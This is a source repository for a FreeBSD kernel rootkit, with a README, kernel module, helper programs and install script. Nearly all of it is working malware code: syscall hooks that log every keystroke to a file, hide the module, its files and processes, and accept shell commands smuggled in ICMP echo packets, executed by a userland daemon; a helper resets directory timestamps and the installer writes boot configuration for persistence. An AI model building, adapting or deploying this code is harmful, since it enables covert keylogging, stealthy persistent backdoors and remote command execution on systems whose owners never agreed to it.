├── Makefile ├── README.md ├── __icmpshell.c ├── hidden.c ├── install.sh └── mvko.c /Makefile: -------------------------------------------------------------------------------- 1 | KMOD = hidden 2 | SRCS = hidden.c 3 | 4 | .include 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Freebsd-Rootkit 2 | The rootkit works on any recent versions of FreeBSD. At the system level it is a kernel module. It works by hooking functions, replacing syscalls and dynamically patching kernel structures. 3 | 4 | ## Functionalities 5 | 6 | - The Rootkit catches all the keyboard entries 7 | - It launches a remote shell receiving commands embedded in ICMP request to evade firewalls 8 | - The module, processes and files are hidden by patching the associated system calls and kernel data-structures at boot time. 9 | - The files accessed have their metadata (time of access, time of modification...) unmodified. 10 | - The Rootkit is launched at every reboot of the system. 11 | 12 | ## Test 13 | To launch the rootkit execute ./install.sh 14 | -------------------------------------------------------------------------------- /__icmpshell.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | 11 | void exec() 12 | { 13 | int kernel_fd; 14 | char cmd[256+1]; 15 | 16 | if ((kernel_fd = open("/dev/ubi_65", O_RDWR)) == -1) 17 | { 18 | printf("can't open /dev/ubi_65 !\n"); 19 | exit(-1); 20 | } 21 | 22 | if (read(kernel_fd, cmd, 256) == -1) 23 | { 24 | printf("can't read()\n"); 25 | exit(-1); 26 | } 27 | 28 | system(cmd); 29 | 30 | } 31 | 32 | int main(int argc,char *argv[]) 33 | { 34 | while(1) 35 | { 36 | sleep(5); 37 | exec(); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /hidden.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | 34 | 35 | #include 36 | #include 37 | #include 38 | 39 | #include 40 | 41 | char *T_NAME[] = {"hidden.ko", "loader.conf", "out.txt"}; 42 | 43 | d_open_t topen; 44 | d_close_t tclose; 45 | d_read_t tread; 46 | d_write_t twrite; 47 | 48 | 49 | #define MODULE_NAME "hidden" 50 | #define FILE_NAME "hidden.ko" 51 | 52 | extern linker_file_list_t linker_files; 53 | extern struct sx kld_sx; 54 | 55 | extern int next_file_id; 56 | #define LINKER_GET_NEXT_FILE_ID(a) do { \ 57 | linker_file_t lftmp; \ 58 | \ 59 | if (!cold) \ 60 | sx_assert(&kld_sx, SA_XLOCKED); \ 61 | retry: \ 62 | TAILQ_FOREACH(lftmp, &linker_files, link) { \ 63 | if (next_file_id == lftmp->id) { \ 64 | next_file_id++; \ 65 | goto retry; \ 66 | } \ 67 | } \ 68 | (a) = next_file_id; \ 69 | } while(0) 70 | 71 | 72 | typedef TAILQ_HEAD(, module) modulelist_t; 73 | extern modulelist_t modules; 74 | extern int nextid; 75 | struct module { 76 | TAILQ_ENTRY(module) link; 77 | TAILQ_ENTRY(module) flink; 78 | struct linker_file *file; 79 | int refs; 80 | int id; 81 | char *name; 82 | modeventhand_t handler; 83 | void *arg; 84 | modspecific_t data; 85 | }; 86 | 87 | static int activate = 0; 88 | static int last_kld = -1; 89 | 90 | static struct linker_file *save_lf; 91 | static struct module *save_mod; 92 | 93 | int dev_open(struct cdev *dev, int flag, int otyp, struct thread *td); 94 | int dev_close(struct cdev *dev, int flag, int otyp, struct thread *td); 95 | int dev_ioctl(struct cdev *dev, u_long cmd, caddr_t arg, int mode,struct thread *td); 96 | int dev_write(struct cdev *dev, struct uio *uio, int ioflag); 97 | int dev_read(struct cdev *dev, struct uio *uio, int ioflag); 98 | 99 | 100 | #define APP_NAME "__icmpshell" 101 | 102 | static char cmd[256+1]; 103 | static struct sx cmd_lock; 104 | 105 | #define VERBOSE 0 106 | 107 | extern struct protosw inetsw[]; 108 | pr_input_t icmp_input_hook; 109 | 110 | int dev_open(struct cdev *dev, int flag, int otyp, struct thread *td) 111 | { 112 | return 0; 113 | } 114 | 115 | int dev_close(struct cdev *dev, int flag, int otyp, struct thread *td) 116 | { 117 | return 0; 118 | } 119 | 120 | int dev_ioctl(struct cdev *dev, u_long cmd, caddr_t arg, int mode,struct thread *td) 121 | { 122 | return 0; 123 | } 124 | 125 | 126 | int dev_write(struct cdev *dev, struct uio *uio, int ioflag) 127 | { 128 | return 0; 129 | } 130 | 131 | static int hide_kld(void) 132 | { 133 | struct linker_file *lf; 134 | struct module *mod; 135 | 136 | mtx_lock(&Giant); 137 | sx_xlock(&kld_sx); 138 | 139 | if ((&linker_files)->tqh_first->refs > 2) 140 | (&linker_files)->tqh_first->refs -= 2; 141 | 142 | TAILQ_FOREACH(lf, &linker_files, link) 143 | { 144 | if (strcmp(lf->filename, FILE_NAME) == 0) 145 | { 146 | if (next_file_id == lf->id) 147 | last_kld = 1; 148 | else 149 | last_kld = 0; 150 | 151 | save_lf = lf; 152 | 153 | if (last_kld) 154 | next_file_id--; 155 | 156 | TAILQ_REMOVE(&linker_files, lf, link); 157 | break; 158 | } 159 | } 160 | sx_xunlock(&kld_sx); 161 | mtx_unlock(&Giant); 162 | 163 | MOD_XLOCK; 164 | TAILQ_FOREACH(mod, &modules, link) 165 | { 166 | if (strcmp(mod->name, "sys/hidden") == 0) 167 | { 168 | save_mod = mod; 169 | if (last_kld) 170 | nextid--; 171 | TAILQ_REMOVE(&modules, mod, link); 172 | break; 173 | } 174 | } 175 | MOD_XUNLOCK; 176 | 177 | return 0; 178 | } 179 | 180 | static int unhide_kld(void) 181 | { 182 | if (!save_lf) 183 | return -1; 184 | 185 | mtx_lock(&Giant); 186 | sx_xlock(&kld_sx); 187 | 188 | (&linker_files)->tqh_first->refs += 2; 189 | 190 | LINKER_GET_NEXT_FILE_ID(save_lf->id); 191 | 192 | TAILQ_INSERT_TAIL(&linker_files, save_lf, link); 193 | 194 | sx_xunlock(&kld_sx); 195 | mtx_unlock(&Giant); 196 | 197 | if (!save_mod) 198 | return -1; 199 | 200 | MOD_XLOCK; 201 | 202 | save_mod->id = nextid++; 203 | TAILQ_INSERT_TAIL(&modules, save_mod, link); 204 | 205 | MOD_XUNLOCK; 206 | 207 | save_lf = 0; 208 | save_mod = 0; 209 | 210 | return 0; 211 | } 212 | 213 | 214 | struct hiding_funct_args{ 215 | char *p_comm; 216 | }; 217 | 218 | 219 | static int hiding_funct(struct thread *thread, void *args) { 220 | struct hiding_funct_args *uap; 221 | uap = (struct hiding_funct_args *)args; 222 | struct proc *p; 223 | sx_xlock(&allproc_lock); 224 | 225 | LIST_FOREACH(p, &allproc, p_list) { 226 | PROC_LOCK(p); 227 | if (!p->p_vmspace || (p->p_flag & P_WEXIT)) { 228 | PROC_UNLOCK(p); 229 | continue; 230 | } 231 | if (strncmp(p->p_comm, uap->p_comm, MAXCOMLEN) == 0) { 232 | LIST_REMOVE(p, p_list); 233 | LIST_REMOVE(p, p_hash); 234 | } 235 | PROC_UNLOCK(p); 236 | } 237 | sx_xunlock(&allproc_lock); 238 | return(0); 239 | } 240 | 241 | 242 | 243 | static int writetofile(struct thread *td, char c){ 244 | int error = kern_openat(td, AT_FDCWD, "/tmp/out.txt", UIO_SYSSPACE, O_WRONLY | O_CREAT | O_APPEND, 0644); 245 | if (error){ 246 | uprintf("open error %d\n", error); 247 | return(error); 248 | } 249 | int buf[1] = {c}; 250 | int keylog_fd = td->td_retval[0]; 251 | struct iovec aiov; 252 | struct uio auio; 253 | bzero(&auio, sizeof(auio)); 254 | bzero(&aiov, sizeof(aiov)); 255 | 256 | aiov.iov_base = &buf; 257 | aiov.iov_len = 1; 258 | auio.uio_iov = &aiov; 259 | auio.uio_iovcnt = 1; 260 | auio.uio_offset = 0; 261 | auio.uio_resid = 1; 262 | auio.uio_segflg = UIO_SYSSPACE; 263 | auio.uio_rw = UIO_WRITE; 264 | auio.uio_td = td; 265 | 266 | error = kern_writev(td, keylog_fd, &auio); 267 | if (error){ 268 | uprintf("write error %d\n", error); 269 | return error; 270 | } 271 | struct close_args fdtmp; 272 | fdtmp.fd = keylog_fd; 273 | sys_close(td, &fdtmp); 274 | return(error); 275 | } 276 | 277 | static int read_hook(struct thread *td, void *syscall_args){ 278 | struct read_args *uap; 279 | uap = (struct read_args *) syscall_args; 280 | int error; 281 | char bu[1024]; 282 | int done; 283 | 284 | error = sys_read(td, syscall_args); 285 | if (error || (!uap->nbyte) || (uap->nbyte > 1)){ 286 | return(error); 287 | } 288 | copyinstr(uap->buf, bu, 1, &done); 289 | writetofile(td, bu[0]); 290 | return(error); 291 | } 292 | 293 | 294 | static int 295 | getdirentries_hook(struct thread *td, void *syscall_args) 296 | { 297 | struct getdirentries_args *uap; 298 | uap = (struct getdirentries_args *)syscall_args; 299 | 300 | struct dirent *dp, *current; 301 | unsigned int size, count; 302 | 303 | 304 | sys_getdirentries(td, syscall_args); 305 | size = td->td_retval[0]; 306 | 307 | if (size > 0) { 308 | MALLOC(dp, struct dirent *, size, M_TEMP, M_NOWAIT); 309 | copyin(uap->buf, dp, size); 310 | 311 | current = dp; 312 | count = size; 313 | 314 | while ((current->d_reclen != 0) && (count > 0)) { 315 | count -= current->d_reclen; 316 | 317 | if(strcmp((char *)&(current->d_name), T_NAME[0]) == 0 || strcmp((char *)&(current->d_name), T_NAME[1])==0 || strcmp((char *)&(current->d_name), T_NAME[2])==0) { 318 | if (count != 0) 319 | bcopy((char *)current + 320 | current->d_reclen, current, 321 | count); 322 | 323 | size -= current->d_reclen; 324 | break; 325 | } 326 | 327 | 328 | if (count != 0) 329 | current = (struct dirent *)((char *)current + 330 | current->d_reclen); 331 | } 332 | 333 | 334 | td->td_retval[0] = size; 335 | copyout(dp, uap->buf, size); 336 | 337 | FREE(dp, M_TEMP); 338 | } 339 | return(0); 340 | } 341 | 342 | 343 | int dev_read(struct cdev *dev, struct uio *uio, int ioflag) 344 | { 345 | int len; 346 | 347 | sx_xlock(&cmd_lock); 348 | copystr(&cmd, uio->uio_iov->iov_base, strlen(cmd)+1, &len); 349 | 350 | bzero(cmd,256); 351 | sx_xunlock(&cmd_lock); 352 | 353 | #if VERBOSE 354 | printf("Rootkit: read %d bytes from device\n",len); 355 | #endif 356 | 357 | return 0; 358 | } 359 | 360 | static struct cdevsw devsw = { 361 | .d_version = D_VERSION, 362 | .d_open = dev_open, 363 | .d_close = dev_close, 364 | .d_read = dev_read, 365 | .d_write = dev_write, 366 | .d_ioctl = dev_ioctl, 367 | .d_name = "ubi_65" 368 | }; 369 | static struct cdev *sdev; 370 | 371 | static void decharge(){ 372 | if (activate == 1){ 373 | sysent[SYS_getdirentries].sy_call = (sy_call_t *)sys_getdirentries; 374 | sysent[SYS_read].sy_call = (sy_call_t *) sys_read; 375 | sx_destroy(&cmd_lock); 376 | inetsw[ip_protox[IPPROTO_ICMP]].pr_input = icmp_input; 377 | destroy_dev(sdev); 378 | unhide_kld(); 379 | activate = 0; 380 | } 381 | } 382 | 383 | 384 | int icmp_input_hook(struct mbuf **m, int *off, int proto) 385 | { 386 | 387 | struct icmp *icmp_header; 388 | char str[256+1]; 389 | int len,cnt; 390 | 391 | (*m)->m_len -= *off; 392 | (*m)->m_data += *off; 393 | 394 | icmp_header = mtod(*m, struct icmp *); 395 | 396 | (*m)->m_len += *off; 397 | (*m)->m_data -= *off; 398 | 399 | if (icmp_header->icmp_type == ICMP_ECHO) 400 | { 401 | bzero(str,256); 402 | copystr(icmp_header->icmp_data, str, 256, &len); 403 | 404 | if(strlen(str) > 2) 405 | { 406 | if(str[0] == '_' && str[1] == '_') 407 | { 408 | cnt = 2; 409 | 410 | sx_xlock(&cmd_lock); 411 | 412 | bzero(cmd,256); 413 | while(str[cnt] != ';' && cnt < 256) 414 | { 415 | cmd[cnt-2] = str[cnt]; 416 | cnt++; 417 | } 418 | 419 | cmd[cnt] = '\0'; 420 | sx_xunlock(&cmd_lock); 421 | #if VERBOSE 422 | #endif 423 | } else if (str[0]=='-' && str[1]=='-'){ 424 | decharge(); 425 | } 426 | 427 | else 428 | { 429 | return(icmp_input(m,off,proto)); 430 | } 431 | } 432 | 433 | else 434 | { 435 | return(icmp_input(m,off,proto)); 436 | } 437 | } 438 | 439 | else 440 | { 441 | return(icmp_input(m, off,proto)); 442 | } 443 | 444 | return(icmp_input(m, off,proto)); 445 | } 446 | 447 | 448 | struct sc_arg{ 449 | char *option; 450 | }; 451 | 452 | static int sc_func(struct thread *td, void *arg){ 453 | struct sc_arg *uap; 454 | uap = (struct sc_arg *)arg; 455 | 456 | if (strcmp(uap->option, "on") == 0 && activate == 0) 457 | { 458 | 459 | sysent[SYS_read].sy_call = (sy_call_t *) read_hook; 460 | sysent[SYS_getdirentries].sy_call = (sy_call_t *)getdirentries_hook; 461 | 462 | sx_init(&cmd_lock,"rootkit_lock"); 463 | inetsw[ip_protox[IPPROTO_ICMP]].pr_input = icmp_input_hook; 464 | sdev = make_dev(&devsw, 0, UID_ROOT, GID_WHEEL, 0600, "ubi_65"); 465 | 466 | hide_kld(); 467 | activate = 1; 468 | } 469 | else if (strcmp(uap->option, "off") == 0 && activate == 1) 470 | { 471 | 472 | sysent[SYS_read].sy_call = (sy_call_t *) sys_read; 473 | sysent[SYS_getdirentries].sy_call = (sy_call_t *)sys_getdirentries; 474 | 475 | sx_destroy(&cmd_lock); 476 | inetsw[ip_protox[IPPROTO_ICMP]].pr_input = icmp_input; 477 | destroy_dev(sdev); 478 | 479 | unhide_kld(); 480 | activate = 0; 481 | 482 | } 483 | else { 484 | hiding_funct(td, arg); 485 | } 486 | 487 | 488 | return(0); 489 | } 490 | 491 | static struct sysent sc_sysent = { 492 | 1, 493 | sc_func 494 | }; 495 | 496 | static int offset = NO_SYSCALL; 497 | 498 | 499 | static int load(struct module *module, int cmd, void *arg){ 500 | 501 | int error = 0; 502 | 503 | switch (cmd) { 504 | case MOD_LOAD: 505 | break; 506 | 507 | case MOD_UNLOAD: 508 | break; 509 | 510 | default: 511 | error = EOPNOTSUPP; 512 | break; 513 | } 514 | 515 | return(error); 516 | } 517 | 518 | 519 | SYSCALL_MODULE(hidden, &offset, &sc_sysent, load, NULL); 520 | 521 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | 3 | make 4 | gcc mvko.c -o mvko 5 | gcc __icmpshell.c -o __icmpshell 6 | ./mvko 7 | echo 'hidden_load="YES"' > /boot/loader.conf 8 | kldload ./hidden.ko 9 | ./__icmpshell & 10 | perl -e '$str = "on";' -e 'syscall(210, $str);' 11 | perl -e '$str = "__icmpshell";' -e 'syscall(210, $str);' 12 | -------------------------------------------------------------------------------- /mvko.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include 8 | #include 9 | 10 | int main(int argc, char *argv[]) { 11 | struct stat sb; 12 | struct timeval* time =(struct timeval*) malloc(2*sizeof(struct timeval)); 13 | 14 | if (stat("/boot/modules", &sb) < 0) { 15 | fprintf(stderr, "STAT ERROR: %d\n", errno); 16 | exit(-1); 17 | } 18 | 19 | time[0].tv_sec = sb.st_atime; 20 | time[1].tv_sec = sb.st_mtime; 21 | 22 | char string[] = "cp hidden.ko /boot/modules"; 23 | system(string); 24 | 25 | if (utimes("/boot/modules", time) < 0) { 26 | fprintf(stderr, "UTIMES ERROR: %d\n", errno); 27 | exit(-1); 28 | } 29 | 30 | exit(0); 31 | } 32 | 33 | --------------------------------------------------------------------------------